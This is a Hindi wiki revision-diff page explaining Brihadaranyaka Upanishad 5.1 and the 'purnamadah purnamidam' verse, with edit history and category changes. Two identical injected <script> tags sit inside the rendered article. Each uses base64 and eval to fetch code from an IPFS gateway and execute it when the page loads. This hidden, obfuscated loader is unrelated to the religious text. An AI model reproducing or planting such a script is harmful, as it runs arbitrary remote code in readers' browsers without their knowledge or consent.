"बृहदारण्यकोपनिषद अध्याय-5 ब्राह्मण-1" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "Category:उपनिषद" to "Category:उपनिषदCategory:संस्कृत साहित्य") |
व्यवस्थापन (चर्चा | योगदान) छो (Text replacement - "अर्थात " to "अर्थात् ") |
||
(2 सदस्यों द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 2: | पंक्ति 2: | ||
{{main|बृहदारण्यकोपनिषद}} | {{main|बृहदारण्यकोपनिषद}} | ||
*इस ब्राह्मण में 'ब्रह्म' के सम्पूर्ण रूप का विवेचन किया गया है। | *इस ब्राह्मण में 'ब्रह्म' के सम्पूर्ण रूप का विवेचन किया गया है। | ||
− | *कहा है-'ॐ पूर्णमद: पूर्णमिदं पूणात्पूर्णमुदच्यते। पूर्णस्य पूर्णमादाय पूर्णमेवावशिष्यते॥ ॐ3 खं ब्रह्म खं पुराणं वायुरं खमिति ह स्माह कौर व्यायणीपुत्रों वेदो यें ब्राह्मण विदुर्वेदैनेन यद्वेदितव्यम्॥1॥' | + | *कहा है-'ॐ पूर्णमद: पूर्णमिदं पूणात्पूर्णमुदच्यते। पूर्णस्य पूर्णमादाय पूर्णमेवावशिष्यते॥ ॐ3 खं ब्रह्म खं पुराणं वायुरं खमिति ह स्माह कौर व्यायणीपुत्रों वेदो यें ब्राह्मण विदुर्वेदैनेन यद्वेदितव्यम्॥1॥' अर्थात् वह ब्रह्मण पूर्ण है, यह जगती पूर्ण है। |
*उस पूर्व ब्रह्म से ही यह पूर्ण विश्व प्रादुर्भूत हुआ है। | *उस पूर्व ब्रह्म से ही यह पूर्ण विश्व प्रादुर्भूत हुआ है। | ||
− | *उस पूर्ण ब्रह्म में से इस पूर्ण | + | *उस पूर्ण ब्रह्म में से इस पूर्ण जगत् को निकाल लेने पर पूर्ण ब्रह्म ही शेष रहता है। |
*ॐ अक्षर से सम्बोधित अनन्त आकाश या परम व्योम ब्रह्म ही है। | *ॐ अक्षर से सम्बोधित अनन्त आकाश या परम व्योम ब्रह्म ही है। | ||
*यह आकाश सनातन परमात्म-रूप है। जिस आकाश में वायु विचरण करता है, वह आकाश ही ब्रह्म है। | *यह आकाश सनातन परमात्म-रूप है। जिस आकाश में वायु विचरण करता है, वह आकाश ही ब्रह्म है। | ||
पंक्ति 12: | पंक्ति 12: | ||
− | {{लेख प्रगति|आधार= | + | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} |
− | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
− | |||
− | |||
− | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{बृहदारण्यकोपनिषद}} | {{बृहदारण्यकोपनिषद}} | ||
− | [[Category:बृहदारण्यकोपनिषद]] | + | [[Category:बृहदारण्यकोपनिषद]][[Category:हिन्दू दर्शन]] |
− | [[Category:दर्शन | + | [[Category:उपनिषद]][[Category:संस्कृत साहित्य]] [[Category:दर्शन कोश]] |
− | [[Category:उपनिषद]][[Category:संस्कृत साहित्य]] | ||
__INDEX__ | __INDEX__ | ||
+ | __NOTOC__ |
07:54, 7 नवम्बर 2017 के समय का अवतरण
- बृहदारण्यकोपनिषद के अध्याय पांचवाँ का यह प्रथम ब्राह्मण है।
मुख्य लेख : बृहदारण्यकोपनिषद
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- इस ब्राह्मण में 'ब्रह्म' के सम्पूर्ण रूप का विवेचन किया गया है।
- कहा है-'ॐ पूर्णमद: पूर्णमिदं पूणात्पूर्णमुदच्यते। पूर्णस्य पूर्णमादाय पूर्णमेवावशिष्यते॥ ॐ3 खं ब्रह्म खं पुराणं वायुरं खमिति ह स्माह कौर व्यायणीपुत्रों वेदो यें ब्राह्मण विदुर्वेदैनेन यद्वेदितव्यम्॥1॥' अर्थात् वह ब्रह्मण पूर्ण है, यह जगती पूर्ण है।
- उस पूर्व ब्रह्म से ही यह पूर्ण विश्व प्रादुर्भूत हुआ है।
- उस पूर्ण ब्रह्म में से इस पूर्ण जगत् को निकाल लेने पर पूर्ण ब्रह्म ही शेष रहता है।
- ॐ अक्षर से सम्बोधित अनन्त आकाश या परम व्योम ब्रह्म ही है।
- यह आकाश सनातन परमात्म-रूप है। जिस आकाश में वायु विचरण करता है, वह आकाश ही ब्रह्म है।
- ऐसा कौरव्यायणी पुत्र का कथन है।
- यह ओंकार-स्वरूप ब्रह्म ही वेद है।
- इस प्रकार सभी ज्ञानी ब्राह्मण जानते हैं; क्योंकि जो जानने योग्य है, वह सब इस ओंकार-रूप वेद से ही जाना जा सकता है।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख